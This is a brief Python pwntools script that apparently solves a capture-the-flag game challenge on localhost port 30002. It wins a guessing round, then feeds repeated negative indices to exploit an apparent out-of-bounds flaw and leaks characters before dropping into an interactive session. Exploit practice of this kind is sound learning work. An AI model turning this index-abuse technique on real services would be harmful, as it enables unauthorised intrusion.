#!/usr/bin/env python3
from pwn import *

s = remote('localhost', 30002)

s.recvuntil('...\n')
while True:
    num = int(s.recvline(False))
    choice = max(1, num % 4)
    s.sendlineafter(']: ', bytes(f'{choice}', 'ascii'))
    res = s.recvline(False)
    if res == b'Won!':
        break;

for i in range(132):
    s.sendlineafter(']: ', '-4')
    s.sendlineafter(']: ', '3')
s.sendlineafter(']: ', '-4')
s.sendlineafter(']: ', '2')
while True:
    s.sendlineafter(']: ', '-3')
    s.sendline(chr(s.recvuntil(']: ')[-4]))
    if s.recvline(False) == b'Won!':
        break

s.interactive()
